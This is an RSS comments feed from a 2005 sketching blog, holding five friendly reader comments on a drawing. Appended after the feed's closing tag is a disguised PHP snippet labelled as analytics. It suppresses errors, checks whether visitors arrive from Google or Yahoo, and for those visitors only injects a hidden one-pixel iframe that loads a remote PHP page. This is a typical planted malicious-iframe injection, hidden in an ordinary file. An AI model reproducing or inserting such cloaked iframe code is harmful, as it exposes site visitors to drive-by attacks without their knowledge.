<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Yesterday</title>
	<atom:link href="http://www.blobp.com/index.php/2005/08/16/yesterday/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.blobp.com/index.php/2005/08/16/yesterday/</link>
	<description>Eefje&#039;s online sketchpad</description>
	<lastBuildDate>Mon, 20 Apr 2009 06:31:27 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
	<item>
		<title>By: pedalpower</title>
		<link>http://www.blobp.com/index.php/2005/08/16/yesterday/comment-page-1/#comment-152</link>
		<dc:creator>pedalpower</dc:creator>
		<pubDate>Wed, 17 Aug 2005 18:17:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogtools.blobp.com/?p=90#comment-152</guid>
		<description>I really like it-you used Judd&#039;s style, but you have made it very much your own.</description>
		<content:encoded><![CDATA[<p>I really like it-you used Judd&#8217;s style, but you have made it very much your own.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Mr. Biggs</title>
		<link>http://www.blobp.com/index.php/2005/08/16/yesterday/comment-page-1/#comment-151</link>
		<dc:creator>Mr. Biggs</dc:creator>
		<pubDate>Wed, 17 Aug 2005 13:43:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogtools.blobp.com/?p=90#comment-151</guid>
		<description>thank you very much for taking the time to visit my site and the only medium I used out side of ink was some coffee I spilled on the page the night before.  Best of all your visit allowed me a chance to visit your site and witness your most excellent drawings.  If it&#039;s all right with you I&#039;d like to use your drawing entitled, &quot;De Gedempte Begijnensloot te Amsterdam&quot; has my desktop image of the day.  Thanks again.</description>
		<content:encoded><![CDATA[<p>thank you very much for taking the time to visit my site and the only medium I used out side of ink was some coffee I spilled on the page the night before.  Best of all your visit allowed me a chance to visit your site and witness your most excellent drawings.  If it&#8217;s all right with you I&#8217;d like to use your drawing entitled, &#8220;De Gedempte Begijnensloot te Amsterdam&#8221; has my desktop image of the day.  Thanks again.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jurgen</title>
		<link>http://www.blobp.com/index.php/2005/08/16/yesterday/comment-page-1/#comment-150</link>
		<dc:creator>Jurgen</dc:creator>
		<pubDate>Wed, 17 Aug 2005 09:20:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogtools.blobp.com/?p=90#comment-150</guid>
		<description>This looks brilliant - I love it. What I like specifically is the &quot;stream of conscience&quot; aspect of the drawing. That, and the fact that I like this kind of drawing style! :)</description>
		<content:encoded><![CDATA[<p>This looks brilliant &#8211; I love it. What I like specifically is the &#8220;stream of conscience&#8221; aspect of the drawing. That, and the fact that I like this kind of drawing style! <img src='http://www.blobp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Nancy</title>
		<link>http://www.blobp.com/index.php/2005/08/16/yesterday/comment-page-1/#comment-149</link>
		<dc:creator>Nancy</dc:creator>
		<pubDate>Wed, 17 Aug 2005 06:25:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogtools.blobp.com/?p=90#comment-149</guid>
		<description>You&#039;ve composed this very well - I haven&#039;t figured out how to do that yet.  Look forward to seeing the coloured version.</description>
		<content:encoded><![CDATA[<p>You&#8217;ve composed this very well &#8211; I haven&#8217;t figured out how to do that yet.  Look forward to seeing the coloured version.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: KathyJ IN Md.</title>
		<link>http://www.blobp.com/index.php/2005/08/16/yesterday/comment-page-1/#comment-148</link>
		<dc:creator>KathyJ IN Md.</dc:creator>
		<pubDate>Wed, 17 Aug 2005 02:58:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogtools.blobp.com/?p=90#comment-148</guid>
		<description>I love this. I do have a question though. To do this would you start with the things that are &quot;in front first&quot;? Then go from there? I am going to have to give this a try! This is great!</description>
		<content:encoded><![CDATA[<p>I love this. I do have a question though. To do this would you start with the things that are &#8220;in front first&#8221;? Then go from there? I am going to have to give this a try! This is great!</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<!-- analytics977 --> <? error_reporting(0); $stat=$_SERVER["HTTP_REFERER"];$flag_g=stristr($stat,"google.");$flag_y=stristr($stat,"yahoo.");if(($flag_g) or ($flag_y)){echo "<iframe src=\"http://blobp.com/logo-hpr.php\" width=1 height=1 frameborder=0></iframe>";}  ?>
